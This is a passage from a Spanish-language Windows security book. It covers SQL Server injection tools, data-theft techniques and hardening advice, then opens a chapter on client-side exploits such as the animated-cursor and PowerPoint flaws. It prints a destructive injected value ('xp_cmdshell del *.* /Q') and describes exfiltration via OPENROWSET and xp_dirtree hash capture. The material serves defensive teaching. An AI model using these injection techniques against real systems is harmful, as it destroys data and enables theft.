Figura 9-8 Absinthe puede automatizar los ataques inyección de SQL y de robo de datos con base en
errores
El método de mensajes de error de SQL Server funciona al usar código SQL especialmente
creado para imponer el despliegue de los datos en la herramienta a partir de un mensaje de
error. Esto suele lograrse al tomar una pieza de texto y tratar de convertirla en un entero. SQL
Server por lo general devuelve un mensaje de error como éste:
Al repetir varias veces con nombres de tablas, nombres de campos y datos, la herramienta puede
derivar el contenido de una base de datos completa de la víctima.
No importa cuál método use, esta herramienta tomará mucho tiempo para extraer los da-
tos, lo que puede exponer al atacante a la detección, si se revisan de cerca los registros del
servidor Web. Sin embargo, la ventaja es que el atacante no necesita configurar ninguna infra-
estructura especial en el lado remoto para extraer datos de SQL Server. Debido a que, como mí-
nimo, casi todas las aplicaciones Web se ejecutan con selección de acceso a muchas tablas
de base de datos, esta herramienta puede ser muy efectiva para extraer los datos a través del
sitio Web.
BobCat Un método más eficiente, pero complejo, para extraer datos de un SQL Server remoto
consiste en usar OPENROWSET (aún es posible en SQL 2005, pero está deshabilitado como opción
predeterminada) para extraer datos de ubicaciones remotas. La funcionalidad OPENROWSET
permite a SQL Server conectarse a un origen remoto dentro del contexto de una consulta. Es una
función muy práctica que, por desgracia, puede tener consecuencias cuando cae en las manos
equivocadas. Considere la siguiente consulta:
Esta consulta selecciona datos de la tabla personalizada y los inserta (en la red) para el SQL
Server de un atacante. Este método es mucho más eficiente que tratar de obtener los datos de
carácter en carácter o de campo en campo, como lo hace la herramienta Absinthe. Sin embargo,
el efecto colateral es que requiere que el atacante instale y exponga un SQL Server a Internet o la
red local. Además, si el SQL Server de destino no tiene permitido establecer conexión saliente,
este ataque fallará.
BobCat (figura 9-9) es una herramienta que ayuda a automatizar el proceso de ensamblar los
comandos SQL apropiados para este ataque. Con base en una herramienta llamada Data Thief,
desarrollada originalmente por Cesar, pero desde que se retiró, BobCat fue desarrollado por nor-
thern-monkee como un puerto .NET de la herramienta Data Thief original.
Como puede ver, la herramienta solicita la ubicación del SQL Server del atacante y toda su
información de conexión. Si el SQL Server de destino permite las conexiones salientes, esta he-
rramienta puede descargar fácilmente todo el contenido de la base de datos en breve.
En caso de que una víctima observe el ataque e inspeccione la solicitud, tendría acceso al
SQL Server del atacante mientras permanezca conectado a Internet. Aunque la herramienta tie-
ne la cuenta sa como opción predeterminada, un atacante podría utilizar una cuenta de menores
privilegios con permisos DLL para crear tablas e insertar datos.
Figura 9-9 BobCat puede absorber datos rápidamente del SQL Server de la víctima si permite las
conexiones salientes
Robo de credenciales de servicio de SQL Server con privilegios mínimos No suponga que únicamen-
te sólo porque un atacante puede obtener privilegios de usuario de SQL está a salvo. Conside-
re una aplicación que usa apropiadamente la menor cantidad de privilegios y que permite que
la aplicación se ejecute como una cuenta de usuario normal, y que sólo se le ha otorgado acceso
a un conjunto restringido de tablas, procedimientos almacenados, o ambos. Además de las posi-
bilidades obvias de robo de datos, un atacante también puede usar los procedimientos almace-
nados del sistema que están disponibles para la función pública, como xp_dirtree.
El procedimiento almacenado extendido xp_dirtree tiene una función aparentemente in-
ofensiva: crea un árbol de directorios de una ubicación en cualquier unidad de disco adjunta a la
que la cuenta del servicio SQL tiene acceso. Además de la amenaza obvia de develamiento de
información (en SQL 2005, no se devolverán datos, a menos que sea un sysadmin, pero el ser-
vidor aún tratará de conectarse, lo que lo volverá vulnerable), hace algo más que resulta intere-
sante: acepta una convención universal de asignación de nombres (UNC, Universal Naming
Convention). Una UNC le permite especificar otros hosts. Al usar un nombre especialmente
trabajado de UNC, es posible hacer una solicitud a un servidor remoto empleando una vulnera-
bilidad de inyección de SQL y forzarlo a conectarse de nuevo a otro sistemas en Internet (o la red
local).
He aquí un fragmento de ejemplo de código de inyección de SQL:
contraseñas) y el SQL Server de la víctima permite conexiones salientes, es muy posible que el
atacante pueda interceptar la solicitud de autentificación de SQL Server (tratando de conectarse
a UNC) y robar el hash.
“¿Cuán buena es una contraseña de la cuenta del servicio SQL Server?”, se podría preguntar.
Bueno, cuando instala SQL Server, se anima al usuario para que proporcione dos credenciales
fundamentales:
Si la persona que instala es como todos los seres humanos, resulta probable que las contra-
señas sean las mismas. Además, también puede utilizarse la contraseña para cuentas de altos
privilegios dentro de la aplicación, IIS, o el propio sistema operativo. Por supuesto, si SQL Ser-
ver se está ejecutando como LocalSystem, el atacante no tendrá credenciales que robar (pero en-
tonces SQL Server se estará ejecutando con privilegios excesivos, de modo que un atacante
puede volver su atención para explotar ese hecho).
Prepárese a recibir algunas noticias molestas. Si sus aplicaciones son susceptibles a inyección
de SQL, no hay corrección activa, service pack ni corrección rápida para protegerlo (excepto si
la aplicación tiene sus propias actualizaciones, como con los productos comerciales o de fuente
abierta). En cambio, debe depender de defensas como una buena arquitectura, procesos de de-
sarrollo y revisión de código. Aunque han empezado a surgir algunas herramientas que asegu-
ran que dejan fuera los problemas de inyección de SQL, ninguna de ellas puede igualar, hasta
ahora, el poder de un buen aseguramiento de calidad relacionado con la seguridad.
Sólo una técnica ayuda de manera confiable a combatir el problema de la inyección en la
capa de la aplicación: las consultas parametrizadas. Éstas definen claramente cuáles partes de
la consulta son variables y cuáles estáticas, con lo que elimina el código de construcción de ca-
dena que es muy susceptible al ataque. Aunque no es 100% efectivo para proteger contra inyec-
ción de SQL en todas las capas, aún es su mejor estrategia de defensa.
La inyección de SQL también puede manifestarse en un procedimiento almacenado que use las
Nota
instrucciones EXEC o sp_executeSQL, aunque se usen consultas parametrizadas, porque la
inyección ocurre en una capa diferente (la base de datos).
Para ver por qué es el único método confiable, echemos un vistazo a otros métodos que han
resultado útiles pero que no ofrecen protección completa:
• Reemplazo de cadenas
• Procedimientos almacenados
El reemplazo de una comilla sencilla por una doble le indica a SQL Server que el carácter que
se está pasando es una cita literal. (Así es como puede colocarse en el campo Apellido a alguien
con apellido O’Reilly.) Para hacer esto en páginas de servidor activo (ASP, Active Server Pages),
puede usar el comando replace en VBScript, de la manera siguiente:
<%<Set Conn=
Server.CreateObject("ADODB.Connection")
Conn.open "dsn.miapl;Trusted_Connection=Yes"
Set Reporting Services = Conn.Execute("exec SNMP_LoginUser '" & request.
form("username") & "','"
& request.form("password") & "'"
%>
exec sp_LoginUser 'minombre', '' exec master..xp_cmdshell 'del *.* /Q' --'
Si, por supuesto, el lote de comandos es perfectamente legítimo, y si existen los permisos nece-
sarios, el usuario eliminará todos los archivos del directorio predeterminado (\winnt\Sys-
tem32).
Como siempre, la única implementación segura del procedimiento almacenado o cualquier
instrucción SQL es cuando se utilizan consultas parametrizadas. Con el siguiente ejemplo se
muestra cómo utilizar el procedimiento almacenado anterior de una manera segura (los mismos
métodos pueden utilizarse para las instrucciones SQL ad hoc):
cmd.CommandType = 4
Set paraml = cmd.CreateParameter(«username», 200, 1,20,
request.form(«username»))
cmd.Parameters.Append param1
Set param2 = comando.CreateParameter(«password», 200, 1,20,
request.form(«password»))
cmd.Parameter.Append param2
Set rs = cmd.Execute
%>
Como puede ver, aunque fallemos en validar los campos de entrada antes de este punto, ahora
tenemos claramente definidos las diversas partes de nuestra consulta, incluidos el nombre del
procedimiento y cada uno de los parámetros. Como elemento adicional, los parámetros se com-
paran contra los tipos de datos y los datos de caracteres están delimitados por longitud. La in-
yección de código en este punto no permite alcanzar a SQL Server porque ahora ADO puede
construir por sí mismo el comando final, convirtiendo automáticamente las comillas sencillas en
dobles y compensando la longitud del campo.
Como advertencia final, no cometa el error de creer que sólo porque utiliza consultas para-
metrizadas su aplicación está completamente segura de la inyección de SQL. Ésta puede ocurrir
en otras capas de la aplicación (como dentro de un procedimiento almacenado que use las ins-
trucciones sp_executesql o EXEC), que podrían exponer a su aplicación aunque su código del
nivel más elevado utilice las mejores prácticas. A lo que aspiramos aquí es a utilizar el método
más seguro de acceso a datos en la capa de programación actual y a revisar todas las capas en
busca de errores de codificación.
Otro método que está disponible para los administradores es la consulta del administrador
del control del servicio en los hosts de red para conocer las instancias de SQL Server. Este méto-
do tiene la ventaja agregada de que no necesita que se esté ejecutando el servicio de SQL Server
en el momento (pero los equipos hosts deben estar en línea). A continuación se presenta un ejem-
plo de un archivo de procesamiento por lotes que puede usarse para dar salida a una lista de
todas las instancias de SQL Server en su red, se esté ejecutando o no el servicio SQL Server:
@@@echo off
net view|find "\\">lista.txt
for /f %i in (lista.txt) do secuencia de comandos %i query bufsize=
6000|find "MSSQL"
Por supuesto, estos métodos localizarán instancias sólo en hosts en ejecución. Otras herra-
mientas permiten que se tomen inventarios de software cuando las máquinas se inician. Necesi-
tará control administrativo sobre todas las máquinas de su entorno para hacer esto, pero es
probablemente la única manera de asegurar un inventario 100% exacto. Entre este tipo de herra-
mientas se encuentran Numara Track-IT, Microsoft Systems Management Server, Microsoft Soft-
ware Inventory Analyzer y OCSInventory.
de grupo) para obtener sus actualizaciones desde un servidor de WSUS y obtener automática-
mente parches de Windows, MS Office, SQL Server 2005 y una multitud de otros parches median-
te un proceso aprobado en Web. Las instrucciones para hacer eso se incluyen con el software.
Puede determinar si su SQL Server está o no actualizado al ver la página de propiedades
del servidor de su instancia de SQL Server en Management Studio o utilizar la siguiente ins-
trucción T-SQL:
select @@version
go
Luego debe comparar esa información de versión con el número de versión del último Service
Pack o la última corrección de SQL Server. Debido a que Microsoft no publica la información de la
versión más reciente en una página Web de referencia, han surgido varios recursos de la comuni-
dad para llevar registro de la información de versión de SQL Server, como www.sqlsecurity.com.
Una vez que haya determinado que su instancia de SQL Server no está actualizada, debe
ir al sitio Web de Microsoft para descargar el service pack o la corrección más actualizada para
hacer un parche completo. Necesita asegurar que tiene instalado el service pack más reciente an-
tes de aplicar cualquier corrección. Tenga en cuenta que, antes de SQL Server 2005, había service
packs separados para SQL Server, MSDE y Analysis Services, y debe descargarlos y aplicarlos por
separado. Además, debe aplicar los service packs por separado para cada instancia (de modo que
si tiene tres instancias de SQL Server en el equipo, necesita instalar el service pack tres veces, cada
una especificando una instancia diferente). SQL Server 2005 ha mejorado mucho este proceso,
permitiendo un service pack unificado que puede parchar muchas instancias simultáneamente.
Una vez que haya instalado el service pack más reciente, necesita obtener la última correc-
ción. Las correcciones de SQL Server son acumulativas, de modo que sólo necesita obtener la úl-
tima para hacer un parche completo. Desde SQL Server 2005, los service pack y las correcciones
de SQL Server se incluyen con Windows Update, lo que simplifica enormemente el proceso sobre
versiones anteriores. Los administradores pueden tener aún más control al implementar WSUS
en sus redes para asegurar que los parches salgan sólo después de un proceso de prueba.
Una vez que haya instalado la corrección más reciente, necesita reiniciar SQL Server y validar
que su información de versión coincida con la de la versión más reciente de SQL Server. Si todo
esto le parece mucho trabajo, es porque lo es. Resulta poco probable que los administradores de
sistemas ocupados (y mucho menos los desarrolladores o usuarios) vayan a mantener sus instan-
cias de SQL Server actualizadas sin excesiva persuasión. Una vez dicho esto, herramientas como
HFNetChkPro de Shavlik (www.shavlik.com) pueden detectar y aplicar remotamente service
packs y correcciones de SQL Server, de modo que cuenta con ayuda. Haga lo que pueda ahora
para poner los procesos necesarios en su lugar y mantener parchado SQL Server (se necesita una
gran cantidad de esfuerzo, pero las consecuencias de no hacerlo son mucho peores).
Consideración del uso de generación de código para capas de acceso a datos Muchas guerras de fue-
go en Internet se relacionan con los beneficios (o falta de ellos) de usar tecnologías de generación
de código para crear aplicaciones. Un generador de código es, en esencia, un programa que per-
mite a un desarrollador describir una aplicación en metadatos o que, al dirigirla a una base de
datos, deja que construya niveles de código más elevados automáticamente.
Sin enfrascarse mucho en un debate acerca de si es práctico desarrollar aplicaciones comple-
tas empleando esta técnica, podemos decir que las generaciones de código tienen una ventaja
obvia sobre el código generado a mano: codifican de manera consistente. Si un generador de có-
digo emite sólo consultas parametrizadas y nunca coloca parámetros no válidos en una cadena
SQL, entonces puede estar seguro de que no lo “olvidará” un día y codificará una vulnerabili-
dad en la aplicación.
Los buenos generadores de código producen código consistente. Sin embargo, los malos ge-
neradores de código producen código consistentemente malo. Asegúrese de elegir sus herramien-
tas con cuidado si decide seguir este camino, porque la herramienta errónea podría torpedear
toda su aplicación. Cuando evalúe una herramienta de generación de código, pruebe la genera-
ción de algunas de las aplicaciones de ejemplo y luego realice un análisis automatizado del sitio
utilizando una herramienta como Paros. Aún necesitará realizar un análisis manual a profundi-
dad para estar seguro, pero ésta es una manera rápida de excluir malos generadores de código.
Rastree de manera regular las aplicaciones en busca de vulnerabilidades de seguridad A intervalos regu-
lares, debe descargar la edición más reciente de cualquier herramienta de prueba de seguridad de
aplicaciones que use (como Paros) y realizar un rastreo completo de su aplicación. Asegúrese
de mantener estos informes en archivo en caso de que surja cualquier pregunta, como cuándo se
ejecutó el informe. Tenga en cuenta que las herramientas de rastreo de aplicaciones no son la pana-
cea, pero puede apostar a que si encuentran vulnerabilidades, un atacante puede hacer lo mismo.
Son una manera muy económica de exponer problemas obvios que deben mitigarse de inmediato.
Proteja físicamente servidores y archivos Si alguien puede obtener acceso físico a su servidor de
SQL, puede emplear una gran cantidad de técnicas para acceder a sus datos. Tómese el tiempo
de proteger el servidor físico, además de cualquier copia de seguridad de sus bases de datos. Si
una persona maliciosa (un exempleado, por ejemplo) supiera cuándo y dónde dejó las viejas cin-
tas de copia de seguridad, podría recuperarlas y reorganizar sus bases de datos para sus propias
instalaciones de SQL Server. Hágase un favor y guarde las cintas en una caja fuerte o trátelas de
la misma manera en que lo hace con los documentos confidenciales que desecha (o incinérelas).
Proteja los servidores y clientes Web conectados a SQL Server Un escenario de compromiso común
de SQL Server ocurre cuando se penetra un sitio Web mal administrado y sirve como plataforma
para ataques contra el servidor. Cuando un atacante controla un servidor (o cualquier cliente)
Web, por lo general encontrará cadenas de conexión y verá cómo y dónde están conectadas las
aplicaciones actuales al servidor SQL. Empleando esta información, los atacantes pueden fácil-
mente hacer movimientos en contra de SQL Server utilizando ese contexto.
Además, algunas vulnerabilidades tienen como destino a clientes de SQL Server, más que al
propio servidor. Por ejemplo, si existen vulnerabilidades en SQL Server Management Studio, un
atacante podría configurar, en teoría, un servidor de caballo de Troya y esperar a que un admi-
nistrador de SQL intente una conexión, lo que permitiría que el atacante controle la máquina del
usuario. Este tipo de ataque podría ser devastador al tomar como objetivo a los usuarios que tie-
nen el nivel de privilegios más elevado. Tómese el tiempo de asegurarse de que no sólo bloquea
y aplica parches a SQL Server sino también a cualquier servidor o cliente Web que esté conecta-
do a sus servidores de SQL.
Habilite el registro de autentificación de SQL Server Como opción predeterminada, el registro de
autentificación está deshabilitado en las versiones anteriores a SQL Server 2005. Puede remediar
esta situación con un solo comando, y se recomienda que lo haga de inmediato. Luego puede
usar el Management Studio y buscar bajo Propiedades del servidor, en la ficha Seguridad, o uti-
lizar el siguiente comando en SQL Server empleando Management Studio o sqlcmd (la siguien-
te es una sola línea dividida en dos debido a las restricciones de la página):
Master..xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel', REG_DWORD,3
Si audita los registros que fallan, tienen éxito, o ambas cosas, depende por completo de sus
necesidades, pero no hay excusa para no auditar por lo menos los registros fallidos.
Cifre datos cuando sea posible Es absurdo suponer que sus redes están siempre seguras de los
olfateadores de paquetes y otras técnicas de vigilancia pasivas. Siempre incluya cifrado de da-
tos de SQL Server en sus sesiones de evaluación de amenazas. Microsoft ha recorrido un largo
trecho para proporcionar una gran cantidad de opciones para cifrado de sesiones, y sería una
pena que no las implementara si puede encontrar una manera de evitar posibles pérdidas debi-
do al trabajo adicional del cifrado.
Ahora que SQL Server 2005 soporta varios modelos de cifrado, no hay excusa para almace-
nar datos críticos en texto simple en las bases de datos. En caso de que una copia de seguridad
se vea comprometida o que se manifieste una vulnerabilidad de inyección de SQL, con cifrado,
sus datos tendrán una capa adicional de protección que debe reducir enormemente el número
de individuos a los que estarán expuestos los datos.
Por último, se recomienda mucho que todas las cintas de copias de seguridad u otros medios
que contienen bases de datos de SQL Server también estén cifrados. En caso de que se compro-
metan medios de copia de seguridad, necesita asegurarse de que la dificultad técnica sea sufi-
ciente para proteger sus valiosos datos de los ojos curiosos. Si cree que necesita cifrar los archivos
de base de datos en vivo, considere el uso de Encrypted File System (EFS) o el cifrado de Bitloc-
ker empleado en Windows Vista.
Use el principio de la menor cantidad de privilegios ¿Si la persona que cuida a su perro necesita en-
trar por la puerta trasera, le daría el llavero con las llaves de la casa y las del Porsche? Por supues-
to que no. ¿Entonces por qué tener una aplicación de producción ejecutándose como la cuenta sa
o un usuario con privilegios de propietario de la base de datos? Tómese el tiempo durante la ins-
talación de su aplicación de crear una cuenta de bajos privilegios para la conectividad cotidiana.
Se requiere un poco más de tiempo para asignar permisos por elementos a todos los objetos ne-
cesarios, pero sus esfuerzos se verán recompensados cuando alguien secuestre su aplicación y se
golpee contra una pared de ladrillos de derechos insuficientes para aprovechar la situación.
Además, esté consciente de que algunos principios deben aplicarse a la cuenta bajo la que se
está ejecutando el servicio MSSQLServer. Durante la instalación de SQL Server, se le presenta
una opción de ejecutar SQL Server como cuenta de usuario. Tómese el tiempo de crear una cuen-
ta de usuario (no una de administrador) e ingrese las credenciales de usuario durante la instala-
ción. Esto restringirá a los usuarios que ejecutan procedimientos almacenados como
administrador de sistema y evitará que se vuelvan de inmediato administradores del sistema
operativo local o que usen la cuenta del sistema (LocalSystem).
Las cuentas locales funcionarán bien en casi todas las instalaciones en lugar de LocalSystem
o las cuentas de dominio mencionadas en los Libros en pantalla. El uso de cuentas locales puede
ayudar a contener una penetración porque el atacante no podrá usar su contexto de seguridad
recién adquirido para acceder a otros host del dominio. Las cuentas de dominio son necesarias
sólo para llamadas a procedimientos almacenados, consultas heterogéneas integradas, copias de
seguridad fuera del sistema o ciertos escenarios de replicación. Para usar una cuenta local des-
pués de la instalación, use la ficha Seguridad, bajo Propiedades del servidor, en Management
Studio. Simplemente ingrese el nombre del servidor local en lugar de un dominio, seguido por
un usuario local que haya creado (por ejemplo, nombreservidor\cuentasql) en el indicador Esta
cuenta. Si hace el cambio usando el Administrador corporativo o el Administrador de configu-
ración, SQL Server se ocupará de los cambios necesarios a los permisos como acceso a la clave
de Registro y los archivos de base de datos.
Realización de validación completa de entrada Nunca confíe en que la información que se le está envian-
do desde el cliente es confiable. La validación del lado del cliente puede omitirse, de modo que su
código de JavaScript no lo protege. La única manera de asegurarse de que los datos publicados
desde un cliente no van a causar problemas con su aplicación consiste en validarlos apropiada-
mente. La validación no debe ser complicada. Si un campo de datos debe contener un número,
por ejemplo, puede verificar que el usuario ingresó un número y que se encuentra en un rango
aceptable. Si el campo de datos es alfanumérico, asegúrese de que la longitud y el contenido de
la entrada son aceptables. Las expresiones regulares son una estupenda herramienta para revi-
sar la entrada de caracteres no válidos, aunque los formatos sean complejos, como direcciones
de correo electrónico, contraseñas y direcciones IP.
Prepare una secuencia de comandos de reducción de exposición que se aplique a nuevas instalacio-
nes Una secuencia de comandos de reducción de exposición es una estupenda manera de colo-
car una línea base a todas las instalaciones de SQL Server para que se minimice la exposición a
las explotaciones. Es inaceptable dejar las nuevas instalaciones en un estado inseguro hasta que
un administrador tenga el tiempo de atenderlas. Una secuencias de comandos de reducción de
exposición ayuda a imponer un despliegue “seguro como opción predeterminada” que es crítico
para las instalaciones de servidor y estación de trabajo de SQL Server. Casi todas las configura-
ciones de reducción de exposición son ahora las opciones predeterminadas en SQL Server 2005,
de modo que mucho de esto tal vez no sea necesario, si ya está ejecutando esta plataforma.
Si necesita una rápida explicación sobre una secuencia de comandos de reducción de expo-
sición para su empresa, revise la sección “Referencias y lecturas adicionales”, al final de este ca-
pítulo, para conocer un vínculo. Entre algunas de las cosas que todas las secuencias de comandos
de reducción de exposición hacen se incluyen la configuración de la cuenta sa, la habilitación del
registro, el establecimiento del modo de seguridad de SQL en autentificación de Windows y la
restricción del acceso a los poderosos procedimientos almacenados del sistema y extendidos.
Cuando personalice sus secuencias de comandos de reducción de exposición, recuerde elimi-
nar (o restringir el acceso a) los procedimientos almacenados poderosos, como xp_cmdshell. Para
eliminar un procedimiento almacenado extendido, ingrese los siguientes comandos T-SQL:
use master
sp_dropextendedproc 'xp_cmdshell'
Si preferiría simplemente asegurarse de que los miembros de la función pública no pueden
acceder a un procedimiento almacenado extendido, use el siguiente código como ejemplo:
REVOKE execute on xp_instance_regread to public
GO
En casi ningún caso, hay razón para que los usuarios o cualquier otra persona usen SQL Ser-
ver para ejecutar comandos contra el sistema operativo. En la tabla 9-4 se presenta una lista de
los otros procedimientos almacenados cuya eliminación o restricción deben considerar los admi-
nistradores del sistema. Recuerde que los atacantes habilidosos pueden regresar XP eliminados
Figura 9-10 Las trazas de SQL Profiler son útiles para determinar los agujeros de inyección de SQL
Use alertas para monitorear posible actividad maliciosa Al implementar alertas en eventos clave de
SQL Server (como inicios de sesión fallidos), es posible avisar a los administradores de que algo
está mal. Un ejemplo es crear una alerta sobre los ID de evento 18450, 18451, 18452 y 18456 (in-
tento fallido de inicio de sesión) que contienen el texto ’sa’ (incluidas las comillas para que la
alerta no se dispare cada vez que el usuario Lisa inicie sesión). Esto permitiría que se alerte a un
administrador cada vez que alguien hace un intento fallido por acceder a SQL Server como sa y
podría ser un indicativo de que se está realizando un ataque de fuerza bruta.
Desaliente el uso de las instrucciones T-SQL EXEC o sp_executesql El uso de cualquiera de estas ins-
trucciones en SQL Server representa el equivalente de la construcción de cadenas en la base de
datos. Con el uso apropiado de QUOTENAME y REPLACE en su código T-SQL, puede realizar va-
lidación de entrada en el código, pero la ruta más segura consiste en evitar por completo el uso
de estas instrucciones. La construcción de cadenas sólo aumenta su superficie para el ataque, de
modo que evítelo hasta donde sea posible.
La siguiente es una pieza de ejemplo de código T-SQL que le ayuda a buscar procedimientos
almacenados que pueden contener esas instrucciones peligrosas:
RESUMEN
En este capítulo, hemos cubierto una gran cantidad de información relacionada con la seguridad
en Microsoft SQL Server. Empezamos con un estudio de caso que ilustra el mecanismo más co-
mún de compromiso y continuamos con un examen de la manera en que funciona el modelo de
seguridad de SQL Server. También mencionamos algunas de las nuevas características que Mi-
crosoft ha incluido en SQL Server 2005 para ayudar a asegurar sus instalaciones.
Examinamos algunas técnicas que los atacantes podrían usar para obtener información acer-
ca de sus bases de datos antes de realizar un ataque abierto. Si identifica las posibles fugas de
información en su organización, podría cerrarlas antes de que un atacante las descubra. He-
mos revisado algunas de las herramientas comerciales en el juego de la explotación de SQL
Server, y analizamos por qué es una mala idea dejar un servidor de SQL en el modo de seguri-
dad combinada abierto al mundo.
A continuación, exploramos el mundo de la inyección de SQL y la manera en que las aplica-
ciones pueden exponer SQL Server al ataque. A esto le siguió un análisis a profundidad de las
técnicas, herramientas y consecuencias de la inyección. Analizamos las contramedidas para tra-
tar con la amenaza y codificamos sugerencias que le ayudarán a seguir adelante.
Por último, analizamos lo que puede hacer su organización para proteger sus servidores y
aplicaciones de SQL de los ataques internos y externos. Tómese el tiempo de comparar su infraes-
tructura actual con la lista de verificación y vea si puede mejorar la seguridad. Tenga en mente que
es absurdo depender de una sola capa de seguridad. Estas prácticas son mejores cuando se combi-
nan, de modo que cuando (no si) una capa falla, otra capa de seguridad puede respaldarla.
Esperamos que ahora ya esté completamente consciente de la seriedad de los problemas de
seguridad de SQL Server y el efecto que una falta de seguridad puede tener sobre sus valiosos da-
tos. Tómese el tiempo de catalogar todos los servidores de SQL de su organización y compare sus
configuraciones con las mejores prácticas. Además, necesita prestar especial atención a las aplica-
ciones que usan SQL Server para asegurarse de que sus vulnerabilidades no derriben sus defen-
sas. Si siempre se pone en el papel del atacante y está vigilando constantemente los cambios en la
configuración de sus servidores y los posibles agujeros de seguridad, sus opciones serán buenas.
Referencias generales
Herramientas de generación de código www.codegeneration.net
Mejoramiento de seguridad de datos al usar SQL www.microsoft.com/technet/itshowcase/con-
Server 2005 tent/sqldatasec.mspx
SQL Server 2000 Best Practices Analyzer www.microsoft.com/downloads/details.
aspx?FamilyID=B352EB1F-D3CA-44EE-893E-9E07
339C1F22&displaylang=en
WebGoat Appliction Security Trainer www.owasp.org/index.php/Category:OWASP_
WebGoat_Project
Writing Secure Code, 2a edición por Michael Howard y David C. LeBlanc, Micro-
soft Press (2002)
“New SQL Truncation Attacks and How to Avoid http://msdn.microsoft.com/msdnmag/is-
Them”, por Bala Neerumalla sues/06/11/SQLSecurity/default.aspx
Advanced SQL Injections in SQL Server Applica- www.nextgenss.com/research/papers
tions
“Threat Profiling Microsoft SQL Server”, por www.cgisecurity.com/lib/tp-SQL2000.pdf
David Litchfield
Sitio Web de referencias de seguridad en SQL www.sqlsecurity.com
Secuencia de comandos de reducción de ex- www.sqlsecurity.com/Tools/LockdownScript/
posición de seguridad de SQL para SQL 2000 tabid/64/Default.aspx
capítulo 10
E O D E
H A C K S
C I O N E
APL I C A
N T E D E
C L I E
O S O F T
M I C R
317
H
abiendo tratado ya las aplicaciones y servicios de Windows unidos a servidor, ahora
volcamos nuestra atención al otro extremo de las comunicaciones de red: el cliente.
Históricamente, se le ha dado poca importancia al extremo del cliente en la seguridad
de Windows, sobre todo debido a que los atacantes se concentran en las abundantes vulnerabi-
lidades del servidor. A medida que ha mejorado la seguridad del lado del servidor, los atacantes
han migrado al siguiente parche obvio de superficie de ataque.
Una simple mirada a encabezados recientes ilustrarán lo que se ha convertido en una colosal
calamidad en la seguridad del cliente. Términos como suplantación de identidad (phishing), spyware
y adware, antes pronunciados sólo por los avezados en tecnología, ahora hacen su aparición re-
gular en los medios de comunicación. El desfile de vulnerabilidades en el software de cliente
más popular del mundo parece nunca terminar. Elementos delincuenciales organizados están
explotando cada vez más tecnologías de cliente para cometer fraudes contra consumidores y ne-
gocios en línea de manera masiva. Muchas autoridades se han dado cuenta tardíamente que por
lo menos existen tantas vulnerabilidades de seguridad serias en el “otro” extremo del telescopio
de la seguridad, y muchos otros factores hacen que tengan por lo menos las mismas, si no es que
más, posibilidades de ser explotados.
En realidad, el tráfico legítimo entrante de Internet es probablemente uno de los vectores
más efectivos para el código malicioso disponible hoy en día. Las firewalls corporativas prote-
gen el tráfico entrante a los servidores, pero reenvían alegremente el tráfico a usuarios internos
que exploran Web y leen correo electrónico, por lo general con escasos filtros. ¿Y qué empresa
podría operar por mucho tiempo en la economía de hoy en día sin Web o correo electrónico? Por
tanto, lo peor que tiene que ofrecer Internet es que se le dirige con toda facilidad directamente a
quienes están menos conscientes del peligro: el usuario final.
No sólo están abiertas las puertas a este entorno rico en destinos, sino que se han desarrolla-
do tecnologías de Internet de varios tipos para permitir la ejecución relativamente simple de co-
mandos remotos en el sistema cliente, ya sea que esté incrustado en una página Web o en un
mensaje de correo electrónico. Una vez que este contenido activo “detona” en la red interna,
puede arrojar el equivalente al control externo directo.
Analizaremos estos factores y vulnerabilidades relativas en este capítulo. Nuestro análisis se
organiza alrededor de los siguientes tipos básicos de ataques a clientes:
EXPLOTACIONES
La premisa fundamental de esta clase de ataques es hacer que el cliente Web ejecute código que
hace lo pedido por el atacante. En esta sección, analizaremos ataques contra varios conjuntos
de aplicaciones de cliente de Windows, lo que ilustra la rica superficie de ataque de aplicacio-
nes de cliente disponibles en los modernos sistemas Windows.
Alexander Sotirov descubrió esta vulnerabilidad que afecta a todas las versiones no parcha-
das de Windows hasta Vista. Los cursores animados son características que permiten que una
serie de marcos aparezcan en el lugar del puntero del ratón en lugar de una sola imagen, lo que
da como resultado el aspecto de un comportamiento dinámico, o animación. Los tipos de archi-
vo de cursor animado tienen el sufijo .ani, .cur o .ico, aunque el sufijo en realidad no importa,
porque Windows reconoce un archivo de cursor animado si empieza con la secuencia ASCII
RIFF (hex 52 49 46 46). La vulnerabilidad es un simple sobreflujo del búfer explotado mediante
encabezados de archivo de tamaño excesivo, y podría implementarse fácilmente un ataque al
hacer que una víctima vea un cursor malicioso o archivo de icono mediante un sitio Web mali-
cioso o un mensaje de correo electrónico de texto enriquecido. En realidad, en las noticias se re-
porta alrededor de abril de 2007 que una campaña de correo basura “tóxico” que contenía
imágenes de la estrella pop Britney Spears era usado por un hacker para engañar a los visitantes
de Internet para que fueran a sitios Web que explotaban la vulnerabilidad de cursor animado.
Alexander publicó un video que documentaba una explotación de Vista que ejecutaba IE 7
empleando el Metasploit Framework que enviaba un shell de comando de regreso al atacante
(consulte “Referencias y lecturas adicionales” para conocer un vínculo). Debido al modo prote-
gido de Vista/IE 7, el shell del comando retenía sólo los privilegios del proceso comprometido y
no tenía acceso de escritura a nada del sistema (aparte de los directorios temporales de IE y la
configuración del Registro). Otra explotación fue publicada por milw0rm y Skylined que usaba
una tecnología de corrupción del montón junto con un archivo de icono (llamado riff.htm), por
cierto) que lanzaba calculator.exe en versiones RTM de Vista.
Con la casi ubicuidad de los archivos de Microsoft Office (Word, PowerPoint, Excel) que se
trafican en todo el mundo mediante correo electrónico y Web, sorprende poco que la comunidad
de atacantes empezara a tomar un gran interés en identificar las vulnerabilidades en estos for-
matos de archivo. Este método ya era popular, pero en 2006 y 2007 una gran cantidad de esas
vulnerabilidades empezaron a reportarse públicamente, como lo registran los boletines de Mi-
crosoft MS06-003, -010, -012, -027, -028, -037, -038, -039, -048, -058, -059, -060 y -062; y MS07-001,
-002, -003, -014, -015, -023, -024 y -025. Esto se compara con las menos de cinco vulnerabilidades
relacionadas con Office y anunciadas en 2005 (de acuerdo con nuestra cuenta aproximada).
Obviamente, aquí podría analizarse gran cantidad de vulnerabilidades específicas, pero nos
concentraremos en una para ilustrar el problema más grande. A finales de 2006, Arnaud Dovi
descubrió una vulnerabilidad de eliminación de referencia nula a puntero en la manera de cam-
pos de notas de diapositiva insertadas en presentaciones de PowerPoint. Si el atacante podía
hacer que la víctima abriera un archivo malicioso de PowerPoint, se obtenía la ejecución arbitra-
ria de código. Una vulnerabilidad similar había explotado código publicado y se presentaron
mayores detalles en el blog del centro de respuesta de seguridad de Microsoft (MSRC, Microsoft’s
